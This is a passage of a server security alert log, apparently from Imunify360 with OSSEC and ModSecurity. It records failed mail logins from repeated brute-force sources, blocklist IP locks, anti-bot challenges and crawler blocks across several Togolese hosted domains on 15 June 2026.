Jun 15 20:00:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:00:35 dovecot_login authenticator failed for H=(P3RKVGI) [141.98.10.175]:63899: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:01:32 dovecot_login authenticator failed for H=(KPxGelN) [141.98.10.175]:64796: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:01:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.199.32.174
country_id: 3469034
description:
Jun 15 20:03:20 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.199.32.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:02:24 dovecot_login authenticator failed for H=(fKg74fc6qs) [141.98.10.175]:49157: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:02:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.199.32.174
country_id: 3469034
description:
2026-06-15 20:03:22 dovecot_login authenticator failed for H=([74.119.147.213]) [200.199.32.174]:51098: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:03:44 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:03:46 dovecot_login authenticator failed for H=(5mXtBWHM2) [141.98.10.175]:53055: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.236
country_id: 130758
description:
Jun 15 20:04:57 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:04:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:04:35 dovecot_login authenticator failed for H=(J0wSbbG) [141.98.10.175]:53786: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 20:04:35 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:9140: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.236
country_id: 130758
description:
2026-06-15 20:04:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.236]:49562: 535 Incorrect authentication data (set_id=qamemcached)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.117.155.41
country_id: 1269750
description:
2026-06-15 20:05:37 dovecot_login authenticator failed for H=([196.28.226.124]) [103.117.155.41]:37454: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:05:48 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.117.155.41
country_id: 1269750
description:
Jun 15 20:05:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.117.155.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:05:22 dovecot_login authenticator failed for H=(JuumEiuXJ) [141.98.10.175]:61224: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.155.118
country_id: 1269750
description:
2026-06-15 20:06:29 dovecot_login authenticator failed for H=([119.51.247.186]) [182.95.155.118]:39958: 535 Incorrect authentication data (set_id=inf@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:06:49 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.155.118
country_id: 1269750
description:
Jun 15 20:06:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.155.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:06:51 dovecot_login authenticator failed for H=(UmYI4KQZeS) [141.98.10.175]:62196: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.221
country_id: 3175395
description:
Jun 15 20:07:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:07:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:07:20 dovecot_login authenticator failed for H=(sOcFh4RZy) [141.98.10.175]:51726: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:08:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:08:09 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.165.250.75
country_id: 3865483
description:
181.165.250.75 - - [15/Jun/2026:20:09:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6579566&pdata=https%253A%252F%252Fmacite.tg%252F2023%252F05%252F02%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781554139 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2023/05/02/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.7727.1345 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.165.250.75


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:08:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:08:24 dovecot_login authenticator failed for H=(6GktEaJ3) [141.98.10.175]:50906: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 172.83.255.254
country_id: 6252001
description:
172.83.255.254 - - [15/Jun/2026:20:10:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054250&pdata=https%253A%252F%252Fcafe.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781554215 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:172.83.255.254


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 88.241.84.201
country_id: 298795
description:
88.241.84.201 - - [15/Jun/2026:20:09:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922962&pdata=https%253A%252F%252Fwebmail.elisco.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781554159 HTTP/2.0" 302 0 webmail.elisco.free.netmaster.tg "https://webmail.elisco.free.netmaster.tg/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:88.241.84.201


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:09:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:09:24 dovecot_login authenticator failed for H=(Ud2PgRfJE) [141.98.10.175]:64271: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:10:26 dovecot_login authenticator failed for H=(puT8xw2j) [141.98.10.175]:63820: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.207.188.29
country_id: 2363686
description:
41.207.188.29 - - [15/Jun/2026:20:10:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6318748&pdata=https%253A%252F%252Flaunetogo.tg%252Fconvention-aerienne-africaine-a-lome-faure-gnassingbe-plaide-pour-un-ciel-vert-digital-et-createur-demplois%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781554226 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/convention-aerienne-africaine-a-lome-faure-gnassingbe-plaide-pour-un-ciel-vert-digital-et-createur-demplois/" "Mozilla/5.0 (Linux; Android 10; MAR-LX1A; HMSCore 6.15.6.332; GMSCore 26.20.31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 HuaweiBrowser/17.0.4.304 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.207.188.29


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:10:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934438&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781554256 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:10:24 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.183.69.170
country_id: 130758
description:
2026-06-15 20:10:30 H=([94.183.69.170]) [94.183.69.170]:63232 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.174
country_id: 6252001
description:
Jun 15 20:11:15 ns5 pure-ftpd[292764]: (?@147.185.132.174) [INFO] New connection from 147.185.132.174


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:11:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:11:21 dovecot_login authenticator failed for H=(0QPpKRu) [141.98.10.175]:59833: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:12:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.183.69.170
country_id: 130758
description:
2026-06-15 20:12:58 H=([94.183.69.170]) [94.183.69.170]:64572 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:12:41 dovecot_login authenticator failed for H=(d8Q3h5S0sT) [141.98.10.175]:51573: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:13:44 dovecot_login authenticator failed for H=(ofHs5VW) [141.98.10.175]:57604: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:13:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.7.180
country_id: 241170
description:
31.134.7.180 - - [15/Jun/2026:20:14:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803672&pdata=https%253A%252F%252Fcafe.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781554480 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.7.180


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:14:44 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.26
country_id: 3865483
description:
Jun 15 20:15:17 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:14:46 dovecot_login authenticator failed for H=(r4XjgKI) [141.98.10.175]:49250: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.107
country_id: 1880251
description:
47.128.122.107 - - [15/Jun/2026:20:14:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196585&pdata=http%253A%252F%252Fen.crepsad.tg%252Fmembers%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781554498 HTTP/1.1" 302 0 en.crepsad.tg "http://en.crepsad.tg/members/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.107


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.26
country_id: 3865483
description:
Jun 15 20:15:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:15:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.192.20.168
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-15.185.192.20.168||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:15:41 dovecot_login authenticator failed for H=(IcKYyyQFHg) [141.98.10.175]:51218: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.103.29
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:206.232.103.29||TA:206.232.103.29||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:16:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:16:37 dovecot_login authenticator failed for H=(yuEP0c1ee) [141.98.10.175]:50657: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.27.151
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:184.174.27.151||TA:184.174.27.151||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.233.26.172
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.233.26.172||TA:104.233.26.172||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:17:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:17:32 dovecot_login authenticator failed for H=(BMe7lAv) [141.98.10.175]:51072: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.20.191.136
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:198.20.191.136||TA:198.20.191.136||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.172.116.149
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:107.172.116.149||TA:107.172.116.149||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.123.158
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:152.232.123.158||TA:152.232.123.158||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.153.18.231
country_id: 3625428
description:
190.153.18.231 - - [15/Jun/2026:20:18:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791853&pdata=https%253A%252F%252Ftogodailynews.tg%252Fmarche-de-lindustrialisation-au-togo-les-opportunites-de-formation-adaptees-objet-dune-analyse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781554709 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/marche-de-lindustrialisation-au-togo-les-opportunites-de-formation-adaptees-objet-dune-analyse/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.7987.1580 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.153.18.231


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.200.241
country_id: 3469034
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:92.112.200.241||TA:92.112.200.241||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.105.121.243
country_id: 2635167
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:198.105.121.243||TA:198.105.121.243||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:18:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:18:37 dovecot_login authenticator failed for H=(CoiDq35yJ) [141.98.10.175]:53481: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.212.142
country_id: 6251999
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.253.212.142||TA:104.253.212.142||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:19:36 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.148.130
country_id: 2510769
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:92.112.148.130||TA:92.112.148.130||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.20.185.129
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:198.20.185.129||TA:198.20.185.129||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.18.113.145
country_id: 6252001
description:
212.18.113.145 - - [15/Jun/2026:20:20:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000796&pdata=https%253A%252F%252Fcafe.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781554805 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.18.113.145


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.245.205.60
country_id: 2635167
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:151.245.205.60||TA:151.245.205.60||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.90.159
country_id: 3175395
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.239.90.159||TA:104.239.90.159||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.101.252.233
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:185.101.252.233||TA:185.101.252.233||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 62.105.203.190
country_id: 2802361
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:62.105.203.190||TA:62.105.203.190||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:19:38 dovecot_login authenticator failed for H=(ZPniWHh9qK) [141.98.10.175]:56460: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.244.41.222
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:173.244.41.222||TA:173.244.41.222||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.120.120.68
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:172.120.120.68||TA:172.120.120.68||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.49.197
country_id: 6251999
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.252.49.197||TA:104.252.49.197||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:20:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:20:33 dovecot_login authenticator failed for H=(vaJeKyrSgk) [141.98.10.175]:56065: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.48.221
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.253.48.221||TA:104.253.48.221||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 145.223.57.180
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:145.223.57.180||TA:145.223.57.180||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.101.252.160
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:185.101.252.160||TA:185.101.252.160||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.242.201.177
country_id: 3190538
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:209.242.201.177||TA:209.242.201.177||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.101.25.208
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:191.101.25.208||TA:191.101.25.208||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 62.105.204.215
country_id: 1605651
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:62.105.204.215||TA:62.105.204.215||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
